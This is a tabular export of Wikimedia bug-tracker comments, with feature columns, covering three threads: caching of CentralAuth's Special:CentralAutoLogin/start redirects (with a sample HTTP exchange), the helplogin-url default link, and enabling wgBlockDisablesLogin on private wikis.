+I guess the rationale behind no caching is that the redirects are dependent on the client's IP and you can't Vary on that. We can do tricks to solve this (e.g. do the GeoIP lookup on the Varnish side for particular URLs and set an X-Country header that you could vary on, for example), but before we go down that road I'd like to analyze the traffic a bit further and figure out why these rank so high in amount of req/s.",,,1382365343,,PHID-USER-ktuojnvco4fpzmyhzyaf,False,,,PHID-TASK-twf7ar32smkopiuo4xx6,task_subcomment,,True,c3,1,True,,,-89,True,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,1,0,1,0,0,1,1,1,0,1,1,1,0,1,0,0,1,0,1,1,1,0,0,1,1,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,0,1,0,0
+239879,CentralAuth not caching Special:CentralAutoLogin/start,"(In reply to comment #15)
+> Faidon also mentioned on irc that he was seeing http->https redirects. We
+> wouldn't want to cache those, since those are based on the user being logged
+> in.
+
+For Special:CentralAutoLogin, it redirects to https if $wgSecureLogin is set and wfCanIPUseHTTPS() returns true for the IP, regardless of whether the user is logged in or not. If the user has the forceHTTPS cookie or is logged in and returns true for $user->requiresHTTPS(), then I believe MediaWiki will do the same sort of redirect before getting to CentralAuth.
+
+BTW, should that redirect be varying on X-Forwarded-Proto? Probably, so I submitted Gerrit change 90543 to do that.",,,1382103851,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-twf7ar32smkopiuo4xx6,task_subcomment,,True,c3,1,True,,,-89,True,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,1,1,0,1,0,0,0,0,1,1,1,1,1,1,0,0,0,1,0,0,1,0,0,0,0,1,0,1,1,1,1,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,0,0,0,1,0,0,1
+239872,CentralAuth not caching Special:CentralAutoLogin/start,"What do you mean ""on the user being logged in""? Is it a preference (Cookie?),  geolocation data for the IP or something else? We could likely enforce some logic with Vary/XVO/Varnish VCL and avoid hitting apaches for all of these.",,,1382099390,,PHID-USER-ktuojnvco4fpzmyhzyaf,False,,,PHID-TASK-twf7ar32smkopiuo4xx6,task_subcomment,,True,c3,1,True,,,-89,True,1,1,0,1,0,0,0,0,0,0,1,0,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,1,0,0,1,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,0,1,0,1,1,0,1,0,0,0
+239866,CentralAuth not caching Special:CentralAutoLogin/start,"This looks like another issue, since the user is just being redirected to a translated page name. That seems like it would be a safe redirect for mediawiki to cache, and we probably haven't had sufficient volumes to worry about caching it in the past. But maybe someone else knows for sure?
+
+If the user actually gets to Special:CentralAutoLogin/start, they are redirected to loginwiki's Special:CentralAutoLogin/checkLoggedIn, which should be cached, and I'm guessing those are since Faidon didn't see many of those.
+
+Faidon also mentioned on irc that he was seeing http->https redirects. We wouldn't want to cache those, since those are based on the user being logged in.",,,1382066539,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-twf7ar32smkopiuo4xx6,task_subcomment,,True,c3,1,True,,,-89,True,1,1,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,1,1,1,1,0,1,0,0,0,0,1,1,1,1,1,1,0,1,1,1,0,0,1,0,0,0,0,1,0,1,1,1,0,1,1,1,0,0,1,1,0,1,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,1,0,1,0,0,0
+239858,CentralAuth not caching Special:CentralAutoLogin/start,"The fix had the intended effect but I still see those URLs (without returnto this time) not being cached at all. It seems MediaWiki emits ""Cache-control: private, must-revalidate, max-age=0"" and ""Expires: Thu, 01 Jan 1970 00:00:00 GMT""; a request/response sample would be:
+
+GET /wiki/Special:CentralAutoLogin/start?type=script HTTP/1.0
+Host: zh.wikipedia.org
+Accept: */*
+User-Agent: (...)
+Accept-Encoding: gzip,deflate,sdch
+Accept-Language: zh-CN,zh;q=0.8
+Via: 1.0 cp1015.eqiad.wmnet:3128 (squid/2.7.STABLE9)
+X-Forwarded-For: (...)
+Connection: keep-alive
+
+HTTP/1.1 302 Found
+Date: Fri, 18 Oct 2013 00:35:12 GMT
+Server: Apache
+X-Powered-By: PHP/5.3.10-1ubuntu3.8+wmf2
+X-Content-Type-Options: nosniff
+Cache-control: private, must-revalidate, max-age=0 
+Vary: Accept-Encoding,X-Forwarded-Proto,Cookie
+X-Vary-Options: Accept-Encoding;list-contains=gzip,X-Forwarded-Proto,Cookie;string-contains=zhwikiToken;string-contains=zhwikiLoggedOut;string-contains=forceHTTPS;string-contains=zhwikiSession;string-contains=centralauth_Token;string-contains=centralauth_Session;string-contains=centralauth_LoggedOut;string-contains=mf_useformat;string-contains=stopMobileRedirect
+Expires: Thu, 01 Jan 1970 00:00:00 GMT
+Location: http://zh.wikipedia.org/w/index.php?title=Special:%E4%B8%AD%E5%A4%AE%E8%AE%A4%E8%AF%81%E7%99%BB%E5%BD%95/start&type=script
+Content-Encoding: gzip
+Content-Length: 20
+Keep-Alive: timeout=2, max=147
+Connection: Keep-Alive
+Content-Type: text/html; charset=utf-8",,,1382057563,,PHID-USER-ktuojnvco4fpzmyhzyaf,False,,,PHID-TASK-twf7ar32smkopiuo4xx6,task_subcomment,,True,c3,1,True,,,-89,True,1,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,1,0,0,1,0,0,0,0,1,0,1,1,1,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,0,1,0,1,0,0,1
+239854,CentralAuth not caching Special:CentralAutoLogin/start,"Change 86265 merged by jenkins-bot:
+For caching, avoid passing returnto to Special:CentralAutoLogin
+
+https://gerrit.wikimedia.org/r/86265",,,1380306961,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-twf7ar32smkopiuo4xx6,task_subcomment,,True,c3,1,False,,,-92,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0
+239851,CentralAuth not caching Special:CentralAutoLogin/start,"Change 86265 had a related patch set uploaded by Anomie:
+For caching, avoid passing returnto to Special:CentralAutoLogin
+
+https://gerrit.wikimedia.org/r/86265",,,1380297517,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-twf7ar32smkopiuo4xx6,task_subcomment,,True,c3,1,False,,,-92,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,0
+239847,CentralAuth not caching Special:CentralAutoLogin/start,"(In reply to comment #10)
+> Ah, thanks. Could we build the correct returnto and update the link in the
+> javascript that we return from /setCookies?
+
+Probably. Although my gut reaction is ""this #p-personal thing keeps getting more and more hacky"".",,,1380250081,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-twf7ar32smkopiuo4xx6,task_subcomment,,True,c3,1,True,,,-92,True,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,1,0,0,1,0,0,1,0,0,0,1,0,0,0,0,1,0,0,1,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,0,1,1,0,1,0,1,0,0,1,1,0,1
+239842,CentralAuth not caching Special:CentralAutoLogin/start,"(In reply to comment #8)
+> (In reply to comment #6)
+> > Brad, do remember why we add returnto and returntoquery in
+> > centralautologin.js
+> > for non-login pages? It's not used except when we get to the /setCookies
+> > phase,
+> > and there, it only adds a window.location if the request had a 'return'
+> > parameter, which I don't ever see set. So it seems like we're passing it
+> > around
+> > without actually using it.. but am I missing something?
+> 
+> git blame would point you to Gerrit change #83007. The returnto gets used in
+> SkinTemplate.php in core, when it generates the #p-personal replacement.
+
+Ah, thanks. Could we build the correct returnto and update the link in the javascript that we return from /setCookies?",,,1380249085,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-twf7ar32smkopiuo4xx6,task_subcomment,,True,c3,1,True,,,-92,True,0,1,0,0,1,1,0,0,0,1,1,1,0,1,0,1,0,1,1,1,1,0,0,0,1,1,0,1,1,1,0,1,1,1,1,1,1,1,0,1,0,0,0,1,0,0,1,0,0,1,0,0,0,1,0,0,0,1,0,0,1,0,0,0,1,0,1,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,1,0,1,0,1,1,0,1,0,0,1
+239836,CentralAuth not caching Special:CentralAutoLogin/start,"Change 86207 abandoned by CSteipp:
+Remove returnto for basic login test
+
+Reason:
+We'll find a better solution
+
+https://gerrit.wikimedia.org/r/86207",,,1380249055,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-twf7ar32smkopiuo4xx6,task_subcomment,,True,c3,1,False,,,-92,True,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,1,0,0,1,0,0
+239831,CentralAuth not caching Special:CentralAutoLogin/start,"(In reply to comment #6)
+> Brad, do remember why we add returnto and returntoquery in
+> centralautologin.js
+> for non-login pages? It's not used except when we get to the /setCookies
+> phase,
+> and there, it only adds a window.location if the request had a 'return'
+> parameter, which I don't ever see set. So it seems like we're passing it
+> around
+> without actually using it.. but am I missing something?
+
+git blame would point you to Gerrit change 83007. The returnto gets used in SkinTemplate.php in core, when it generates the #p-personal replacement.",,,1380244260,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-twf7ar32smkopiuo4xx6,task_subcomment,,True,c3,1,True,,,-92,True,0,1,0,0,1,1,0,0,0,1,1,1,0,1,0,1,0,1,1,1,1,0,0,0,1,1,0,1,0,1,0,1,1,1,1,1,1,1,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,1,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,0,1,1,0,1,0,0,1
+239827,CentralAuth not caching Special:CentralAutoLogin/start,"Change 86207 had a related patch set uploaded by CSteipp:
+Remove returnto for basic login test
+
+https://gerrit.wikimedia.org/r/86207",,,1380239889,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-twf7ar32smkopiuo4xx6,task_subcomment,,True,c3,1,False,,,-92,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+239826,CentralAuth not caching Special:CentralAutoLogin/start,"Thanks Faidon. In the majority case, the ping to check if the anon user is logged in, we shouldn't need the returnto.. so if that's being added, I think we can fix that.
+
+Brad, do remember why we add returnto and returntoquery in centralautologin.js for non-login pages? It's not used except when we get to the /setCookies phase, and there, it only adds a window.location if the request had a 'return' parameter, which I don't ever see set. So it seems like we're passing it around without actually using it.. but am I missing something?",,,1380239228,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-twf7ar32smkopiuo4xx6,task_subcomment,,True,c3,1,True,,,-92,True,0,1,0,1,1,1,0,0,0,1,1,1,0,1,0,1,0,1,1,1,1,1,0,0,1,1,0,1,1,0,0,1,1,1,1,0,1,1,1,1,0,0,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,1,1,0,1,0,0,1,0,0,1,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,0,1,1,0,1,0,0,0
+239822,CentralAuth not caching Special:CentralAutoLogin/start,"CentralAutoLogin traffic is still > 50% of all Apache traffic, so no huge effect there.
+
+CentralAutoLogin/start is 27.5% in my small sample, however this has little to do with caching: all of the URLs are different because of the ""returnto"" query parameter. There is of course benefit with having those cached when ""returnto"" is some popular page (e.g. Main_Page).",,,1380180817,,PHID-USER-ktuojnvco4fpzmyhzyaf,False,,,PHID-TASK-twf7ar32smkopiuo4xx6,task_subcomment,,True,c3,1,True,,,-92,True,1,0,0,0,0,1,1,1,0,0,1,0,0,0,1,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,0,0,1,0,0,1
+239817,CentralAuth not caching Special:CentralAutoLogin/start,"This change has been deployed, and load to eqiad application servers seems to have dropped a bit.
+
+20:31 logmsgbot: csteipp synchronized php-1.22wmf17/extensions/CentralAuth 'update to master for SUL fix'
+20:28 logmsgbot: csteipp synchronized php-1.22wmf18/extensions/CentralAuth 'update to master for SUL fix'",,,1380142461,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-twf7ar32smkopiuo4xx6,task_subcomment,,True,c3,1,True,,,-93,True,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,0,0,1,0,0,0,0,0
+239810,CentralAuth not caching Special:CentralAutoLogin/start,"Faidon, Tim, or Mark, it would be good if you guys could take a look at gerrit 85036 too, and just make sure Brad and my assumptions about squid / varnish are correct. If anything doesn't seem right, let us know asap!",,,1379623676,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-twf7ar32smkopiuo4xx6,task_subcomment,,True,c3,1,True,,,-93,True,0,1,0,0,1,1,1,0,0,1,0,1,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,1,1,0,1,1,1,0,1,1,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,1,0,0,0,0
+239804,CentralAuth not caching Special:CentralAutoLogin/start,"Change 85036 merged by jenkins-bot:
+Set Squid maxage so proxies will cache
+
+https://gerrit.wikimedia.org/r/85036",,,1379622887,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-twf7ar32smkopiuo4xx6,task_subcomment,,True,c3,1,False,,,-93,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+239798,CentralAuth not caching Special:CentralAutoLogin/start,"Change 85036 had a related patch set uploaded by CSteipp:
+Set Squid maxage so proxies will cache
+
+https://gerrit.wikimedia.org/r/85036",,,1379618889,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-twf7ar32smkopiuo4xx6,task_subcomment,,True,c3,1,False,,,-93,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+55888,Link to existing login help page by default from helplogin-url,"helplogin-url is shown in a very prominent place by default and it should point to an existing page to avoid confusing users with links to nonexisting pages, similarly to bug 53862.
+
+We have [[mw:Help:Logging in]], which given the author I assume ok and that can be made translatable when we are comfortable about the quality of its content (it had some ""manual"" translations on Meta). Linking it will help improve it, but it's already better than the default red link.
+
+--------------------------
+**Version**: 1.22.0
+**Severity**: enhancement",Medium,50.0,1378539120,1395245833.0,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,False,PHID-TASK-addxd43f7bv3gv4au2ws,task_description,resolved,True,c3,1,True,False,True,-95,True,1,0,1,1,0,1,1,0,0,0,1,1,0,0,0,1,1,1,1,0,1,1,0,0,1,0,0,0,1,1,0,1,1,1,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,1,0,1,0,1,1,0,1,1,0,1
+245541,Link to existing login help page by default from helplogin-url,"Change 119489 merged by jenkins-bot:
+Link to existing login help page by default from helplogin-url
+
+https://gerrit.wikimedia.org/r/119489",,,1395245317,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-addxd43f7bv3gv4au2ws,task_subcomment,,True,c3,1,False,,,-68,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0
+245534,Link to existing login help page by default from helplogin-url,"Change 119489 had a related patch set uploaded by Nemo bis:
+Link to existing login help page by default from helplogin-url
+
+https://gerrit.wikimedia.org/r/119489",,,1395242959,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-addxd43f7bv3gv4au2ws,task_subcomment,,True,c3,1,False,,,-68,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,0
+245527,Link to existing login help page by default from helplogin-url,"Thanks MatmaRex and thanks everyone for comments, code review and rebase/unit test help.
+The change was also notified on
+* mediawiki-l (but mailman not helping): http://lists.wikimedia.org/pipermail/mediawiki-l/2014-March/042664.html
+* design: http://lists.wikimedia.org/pipermail/design/2014-March/001694.html",,,1395226239,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-addxd43f7bv3gv4au2ws,task_subcomment,,True,c3,1,True,,,-68,True,0,1,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1
+245522,Link to existing login help page by default from helplogin-url,"Change 83220 merged by jenkins-bot:
+Link to existing login help page by default from helplogin-url
+
+https://gerrit.wikimedia.org/r/83220",,,1395226102,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-addxd43f7bv3gv4au2ws,task_subcomment,,True,c3,1,False,,,-68,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0
+245515,Link to existing login help page by default from helplogin-url,[Bumping TM as MediaWiki 1.22.0 tarball was released today.],,,1386383880,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-addxd43f7bv3gv4au2ws,task_subcomment,,True,c3,1,True,,,-82,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,1
+245508,Link to existing login help page by default from helplogin-url,"(In reply to comment #5)
+> By the way, we should agree on a common style for these external links (if we
+> don't have it already). I believe they should have the arrow of external link
+> and open in a new page.
+
+Yes, that's worth a separate bug to standardise old and new ones; add it as a blocker of bug 43591 please. We'll also need a standard icon for the cases where a simple link with label is not possible/appropriate (probably something as the Translate extension does), one more reason to file the bug.",,,1378761544,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-addxd43f7bv3gv4au2ws,task_subcomment,,True,c3,1,True,,,-95,True,0,1,0,0,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,1,1,1,0,0,0,1,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,1,1,0,1,1,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,0,0,0,1,0,1,1,0,0,1,0,1
+245500,Link to existing login help page by default from helplogin-url,"By the way, we should agree on a common style for these external links (if we don't have it already). I believe they should have the arrow of external link and open in a new page.",,,1378760730,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-addxd43f7bv3gv4au2ws,task_subcomment,,True,c3,1,True,,,-95,True,0,0,0,0,1,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0
+245493,Link to existing login help page by default from helplogin-url,"Good idea. The wiki page needs improvement, thinking that users from other wikis will land there for basic help. Currently for those users the wiki page will look like a wall of text.",,,1378759772,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-addxd43f7bv3gv4au2ws,task_subcomment,,True,c3,1,True,,,-95,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0
+245486,Link to existing login help page by default from helplogin-url,"(In reply to comment #2)
+> Sorry but... where helplogin-url linked from in a fresh MediaWiki install?
+> Can't find it.
+
+You can find this sort of information in /qqq: https://translatewiki.net/wiki/MediaWiki:Helplogin-url/qqq
+It's in Special:UserLogin.",,,1378758993,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-addxd43f7bv3gv4au2ws,task_subcomment,,True,c3,1,True,,,-95,True,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,0,0,0,1,0,0,0,1,0,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,0,0,1,1,1,1,0,0,0,0,1
+245479,Link to existing login help page by default from helplogin-url,Sorry but... where helplogin-url linked from in a fresh MediaWiki install? Can't find it.,,,1378758469,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-addxd43f7bv3gv4au2ws,task_subcomment,,True,c3,1,True,,,-95,True,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,1,0,0,1,0,1,1,0,0,0,0,0
+245472,Link to existing login help page by default from helplogin-url,"Change 83220 had a related patch set uploaded by Nemo bis:
+Link to existing login help page by default from helplogin-url
+
+https://gerrit.wikimedia.org/r/83220",,,1378539762,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-addxd43f7bv3gv4au2ws,task_subcomment,,True,c3,1,False,,,-95,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,0
+55871,Set wgBlockDisablesLogin to true for ALL Wikimedia private wikis,"**Author:** `Thehelpfulonewiki`
+
+**Description:**
+In bug 23231 a number of private wikis had wgBlockDisablesLogin set as true. Since then we've had some more private wikis created (such as IEGCom Wiki, Transition Team wiki etc). Instead of requesting this setting to be set on a individual wiki basis, can we just set it to be true for all private wikis?  i.e. Add
+
+'private' => 'true',
+
+to 'wgBlockDisablesLogin' => array(
+
+--------------------------
+**Version**: wmf-deployment
+**Severity**: normal",Medium,50.0,1378506360,1378929495.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-saw7lgv4z3na6rmubb3b,task_description,resolved,True,c3,1,False,False,True,-95,True,1,0,0,1,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,1,0,1,0,0,0,1,0,0,1,0,1,1,0,0,0,1,1,0,0,0,1,0,1,0,0,0,1,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,0,0,1,0,1,1,0,1
+244321,Set wgBlockDisablesLogin to true for ALL Wikimedia private wikis,"Change 83375 merged by jenkins-bot:
+Sets wgBlockDisablesLogin true on private wikis.
+
+https://gerrit.wikimedia.org/r/83375",,,1378925820,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-saw7lgv4z3na6rmubb3b,task_subcomment,,True,c3,1,False,,,-95,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+244316,Set wgBlockDisablesLogin to true for ALL Wikimedia private wikis,"Change 83375 had a related patch set uploaded by Dereckson:
+Sets wgBlockDisablesLogin true on private wikis.
+
+https://gerrit.wikimedia.org/r/83375",,,1378679084,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-saw7lgv4z3na6rmubb3b,task_subcomment,,True,c3,1,False,,,-95,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+244310,Set wgBlockDisablesLogin to true for ALL Wikimedia private wikis,"For reference:
+
+[ Already enabled on ]
+
+arbcom_dewiki
+arbcom_nlwiki
+auditcomwiki
+boardwiki
+chairwiki
+checkuserwiki
+collabwiki
+chapcomwiki
+execwiki
+fdcwiki
+internalwiki
+noboard_chapterswikimedia
+officewiki
+ombudsmenwiki
+otrs_wikiwiki
+stewardwiki
+wikimaniateamwiki
+
+[ This configuration will affect the following wikis ]
+
+arbcom_enwiki
+arbcom_fiwiki
+boardgovcomwiki
+grantswiki
+iegcomwiki
+ilwikimedia
+movementroleswiki
+searchcomwiki
+spcomwiki
+transitionteamwiki
